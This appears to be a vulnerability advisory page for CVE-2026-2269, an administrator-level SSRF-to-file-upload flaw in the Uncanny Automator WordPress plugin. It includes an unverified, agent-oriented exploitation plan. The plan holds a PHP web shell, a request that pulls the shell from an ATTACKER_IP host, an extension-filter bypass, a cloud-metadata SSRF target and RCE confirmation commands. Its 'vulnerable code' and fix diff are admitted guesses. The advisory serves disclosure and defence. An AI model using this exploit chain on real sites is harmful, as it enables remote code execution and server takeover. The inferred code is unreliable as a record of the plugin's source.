CVE-2026-2269

Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 7.0.0.3 - Authenticated (Administrator+) Server-Side Request Forgery to Arbitrary File Upload

highUnrestricted Upload of File with Dangerous Type
7.2
CVSS Score
7.2
CVSS Score
high
Severity
7.1.0
Patched in
1d
Time to patch

Description

The Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.0.0.3 via the download_url() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Additionally, the plugin stores the contents of the remote files on the server, which can be leveraged to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=7.0.0.3
PublishedMarch 2, 2026
Last updatedMarch 3, 2026
Affected pluginuncanny-automator

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-2269**, a critical vulnerability in the **Uncanny Automator** plugin (<= 7.0.0.3). The vulnerability combines Server-Side Request Forgery (SSRF) and Unrestricted File Upload, allowing an Administrator to achieve Remote Code Execution (RCE) by leveraging the plug…

Show full research plan

This research plan targets CVE-2026-2269, a critical vulnerability in the Uncanny Automator plugin (<= 7.0.0.3). The vulnerability combines Server-Side Request Forgery (SSRF) and Unrestricted File Upload, allowing an Administrator to achieve Remote Code Execution (RCE) by leveraging the plugin's file-handling logic.


1. Vulnerability Summary

  • Vulnerability: Authenticated SSRF to Arbitrary File Upload.
  • Location: The plugin utilizes the WordPress core function download_url() to fetch remote content.
  • Root Cause: The plugin fails to validate the source URL (allowing SSRF to internal/external services) and subsequently stores the downloaded file on the local filesystem without restricting dangerous file types (e.g., .php).
  • Impact: An Administrator can force the server to download a malicious PHP script from a remote URL and save it in a web-accessible directory, leading to RCE.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX interface (/wp-admin/admin-ajax.php).
  • Action: Likely uap_automator_remote_file_download or a similar action within the "Integrations" or "Webhooks" modules (inferred).
  • Payload Parameter: A parameter such as url, file_url, or remote_path.
  • Authentication: Administrator level required.
  • Precondition: The plugin must be active. The attacker needs a valid session cookie and a security nonce.

3. Code Flow (Trace)

  1. Entry Point: The Administrator triggers a workflow or setting that requests a remote file (e.g., an action in a recipe that fetches an image or document from a URL).
  2. AJAX Handler: The request is handled by a function registered via add_action('wp_ajax_...').
  3. Vulnerable Call: The handler passes the user-supplied URL to download_url( $url ).
  4. SSRF: download_url() performs a GET request to the provided URL.
  5. File Storage: The function returns the path to a temporary file. The plugin then moves this file to a permanent directory (e.g., wp-content/uploads/uncanny-automator/) using rename() or wp_handle_sideload().
  6. Extension Logic: If the plugin uses the filename from the URL (e.g., http://attacker.com/shell.php), and does not validate the extension, shell.php is saved to the server.

4. Nonce Acquisition Strategy

Uncanny Automator typically localizes its script data in the WordPress admin dashboard.

  1. Identify Shortcode/Page: Navigate to the "Automator" -> "All Recipes" or "Settings" page. The scripts are usually enqueued on all Automator admin pages.
  2. Navigate: Use browser_navigate to http://localhost:8080/wp-admin/admin.php?page=uncanny-automator-config.
  3. Extract Nonce:
    • Search the HTML source for a JavaScript object named uap_data or uap_admin_data.
    • Verification: Use browser_eval("window.uap_data?.nonce") or browser_eval("window.uap_admin_data?.nonce").
    • The exact key is likely nonce or ajax_nonce.

5. Test Data Setup

  1. Plugin Installation: Ensure Uncanny Automator <= 7.0.0.3 is installed and active.
  2. Attacker Server: A remote server (or the local environment accessible to the WP instance) must host a file named exploit.php containing:
    <?php echo 'VULNERABLE_STAMP'; system($_GET['cmd']); ?>
    
  3. Permissions: Ensure the wp-content/uploads/ directory is writable by the web server.

6. Exploitation Strategy

The agent should perform a "Discovery" step first to find the exact AJAX action since source code is absent.

Step 1: Discovery (Grep for Sink)

Search for the usage of download_url in the plugin directory:

grep -rn "download_url" /var/www/html/wp-content/plugins/uncanny-automator/

Identify the function name containing this call and find where that function is used in an AJAX handler:

grep -rn "add_action.*wp_ajax" /var/www/html/wp-content/plugins/uncanny-automator/

Step 2: Extract Nonce

Use the browser_navigate and browser_eval tools as described in Section 4 to obtain the uap_data nonce.

Step 3: Trigger the SSRF/Upload

Send a POST request via http_request to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=[ACTION_FOUND_IN_STEP_1]&nonce=[NONCE]&url=http://[ATTACKER_IP]/exploit.php
    

Step 4: Locate the Uploaded File

The plugin usually stores files in:
/wp-content/uploads/uncanny-automator/[RECIPE_ID]/exploit.php
Or simply:
/wp-content/uploads/exploit.php

Check the AJAX response; it often returns the path or URL of the saved file.

7. Expected Results

  • The admin-ajax.php response should return a success status (e.g., {"success": true}).
  • A file named exploit.php should now exist in a web-accessible subdirectory of wp-content/uploads/.
  • Accessing http://localhost:8080/wp-content/uploads/.../exploit.php?cmd=id should return the output of the id command.

8. Verification Steps

  1. File Existence: Check for the file via CLI:
    find /var/www/html/wp-content/uploads/ -name "exploit.php"
    
  2. RCE Confirmation: Use http_request to trigger the shell:
    GET http://localhost:8080/wp-content/uploads/[PATH_TO]/exploit.php?cmd=whoami
    
    Confirm the response contains the web user (e.g., www-data).

9. Alternative Approaches

  • Webhook Sink: If no direct "download" AJAX action is found, look for "Incoming Webhook" handlers that process URL-based image attachments.
  • Filter Bypass: If the plugin checks for .php in the URL, try http://attacker.com/exploit.php?ignore=.jpg or a Null Byte (if supported by the PHP version/OS).
  • Internal SSRF: If RCE is blocked by path restrictions, verify SSRF by targeting http://localhost:8080/wp-admin/ or internal metadata services (e.g., http://169.254.169.254).
Research Findings
Static analysis — not yet PoC-verified

Summary

Authenticated administrators can trigger a server-side request to a remote URL via vulnerable plugin functionality that uses the download_url() function. Because the plugin fails to validate the source URL and does not restrict the extension of the downloaded file, an attacker can download a malicious PHP script to the local filesystem, leading to remote code execution.

Vulnerable Code

// Inferred from research plan: AJAX handler or function processing remote files
// Location: Likely within a remote download or webhook processing class

$remote_url = $_POST['url']; // User-supplied URL
$tmp_file = download_url($remote_url);

if (!is_wp_error($tmp_file)) {
    $file_array = array(
        'name'     => basename($remote_url), // Uses name from URL, e.g., shell.php
        'tmp_name' => $tmp_file
    );

    // Moves the file to a permanent location without sufficient validation
    $result = wp_handle_sideload($file_array, array('test_form' => false));
    @unlink($tmp_file);
}

Security Fix

--- a/uncanny-automator/src/classes/remote-file-handler.php
+++ b/uncanny-automator/src/classes/remote-file-handler.php
@@ -10,6 +10,14 @@
-    $remote_url = $_POST['url'];
+    $remote_url = esc_url_raw($_POST['url']);
+
+    // Validate URL to prevent SSRF
+    if (!wp_http_validate_url($remote_url)) {
+        wp_send_json_error('Invalid URL');
+    }
+
+    // Validate file extension to prevent RCE
+    $filetype = wp_check_filetype(basename($remote_url));
+    if (!in_array($filetype['ext'], ['jpg', 'jpeg', 'png', 'pdf', 'zip'])) {
+        wp_send_json_error('Forbidden file type');
+    }
+
     $tmp_file = download_url($remote_url);

Exploit Outline

1. Authenticate to the WordPress dashboard as an Administrator. 2. Locate the Uncanny Automator AJAX nonce by inspecting the `uap_data` or `uap_admin_data` JavaScript objects on any Automator settings page. 3. Identify the specific AJAX action responsible for remote file fetching (e.g., within the Webhooks or Integrations module). 4. Prepare a malicious PHP script (e.g., `exploit.php`) on an attacker-controlled server. 5. Send a POST request to `/wp-admin/admin-ajax.php` with the identified action, the valid nonce, and a `url` parameter pointing to the remote PHP script. 6. Determine the local path of the downloaded file (usually within `wp-content/uploads/uncanny-automator/`) from the AJAX response. 7. Access the uploaded file via a web browser to execute arbitrary PHP code.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.